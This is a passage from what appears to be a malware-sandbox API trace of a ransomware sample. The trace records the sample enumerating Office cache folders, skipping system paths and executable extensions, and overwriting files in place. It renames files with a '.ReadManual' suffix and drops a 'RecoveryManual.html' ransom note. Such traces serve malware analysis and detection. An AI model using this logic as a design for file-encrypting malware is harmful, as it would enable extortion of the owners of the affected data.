lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0193.611] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e1dcd) returned 0x4350000 [0194.157] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0194.175] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31484424430) returned 1 [0194.176] CloseHandle (hObject=0x194) returned 1 [0194.176] SetSecurityInfo () returned 0x57 [0194.176] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0194.176] CloseHandle (hObject=0x190) returned 1 [0194.176] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.176] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0194.176] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0194.176] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.176] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0194.176] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0194.176] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" [0194.176] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0194.176] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0194.176] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31484526530) returned 1 [0194.177] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0194.177] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0194.178] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1872) returned 1 [0194.178] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x750, lpName=0x0) returned 0x194 [0194.178] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0194.178] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.178] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0194.180] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0194.180] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x750) returned 0x2f0000 [0194.180] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0194.180] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31484894911) returned 1 [0194.180] CloseHandle (hObject=0x194) returned 1 [0194.180] SetSecurityInfo () returned 0x57 [0194.180] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0194.180] CloseHandle (hObject=0x190) returned 1 [0194.181] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.181] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0194.181] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0194.181] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-00BA-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C") returned="{90140000-00BA-0409-1000-0000000FF1CE}-C" [0194.181] lstrcatW (in: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="{90140000-00BA-0409-1000-0000000FF1CE}-C\\" [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0194.181] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0194.182] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0194.182] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0194.182] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0194.182] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0194.182] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0194.182] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0194.182] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned 67 [0194.182] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0194.183] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" [0194.183] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.183] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0194.183] lstrcpyW (in: lpString1=0x6ab922, lpString2="GrooveLR.cab" | out: lpString1="GrooveLR.cab") returned="GrooveLR.cab" [0194.183] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="RecoveryManual.html") returned -1 [0194.184] StrStrIW (lpFirst="GrooveLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.184] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0194.184] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0194.184] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0194.184] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" [0194.184] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.ReadManual.5A595725" [0194.184] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.ReadManual.5A595725") returned 99 [0194.184] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31485278598) returned 1 [0194.184] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0194.185] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0194.185] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=4095519) returned 1 [0194.185] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e7e1f, lpName=0x0) returned 0x194 [0194.185] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0194.185] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.185] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0194.187] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0194.187] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e7e1f) returned 0x4350000 [0194.324] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0194.334] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31500320929) returned 1 [0194.334] CloseHandle (hObject=0x194) returned 1 [0194.335] SetSecurityInfo () returned 0x57 [0194.335] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0194.335] CloseHandle (hObject=0x190) returned 1 [0194.443] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" [0194.443] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0194.443] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0194.444] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0194.445] CloseHandle (hObject=0x190) returned 1 [0194.445] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0194.445] lstrcpyW (in: lpString1=0x6ab922, lpString2="GrooveMUI.msi" | out: lpString1="GrooveMUI.msi") returned="GrooveMUI.msi" [0194.445] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="RecoveryManual.html") returned -1 [0194.445] StrStrIW (lpFirst="GrooveMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.445] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0194.445] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0194.445] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0194.445] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0194.445] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0194.445] lstrcpyW (in: lpString1=0x6ab922, lpString2="GrooveMUI.xml" | out: lpString1="GrooveMUI.xml") returned="GrooveMUI.xml" [0194.445] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="RecoveryManual.html") returned -1 [0194.445] StrStrIW (lpFirst="GrooveMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.445] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0194.445] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0194.445] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" [0194.446] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.ReadManual.5A595725" [0194.446] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.ReadManual.5A595725") returned 100 [0194.446] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31511437727) returned 1 [0194.446] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0194.446] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0194.446] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=913) returned 1 [0194.446] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x391, lpName=0x0) returned 0x194 [0194.446] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0194.447] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.447] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0194.448] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0194.449] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x391) returned 0x2f0000 [0194.449] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0194.449] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31511753307) returned 1 [0194.449] CloseHandle (hObject=0x194) returned 1 [0194.449] SetSecurityInfo () returned 0x57 [0194.449] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0194.449] CloseHandle (hObject=0x190) returned 1 [0194.450] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: 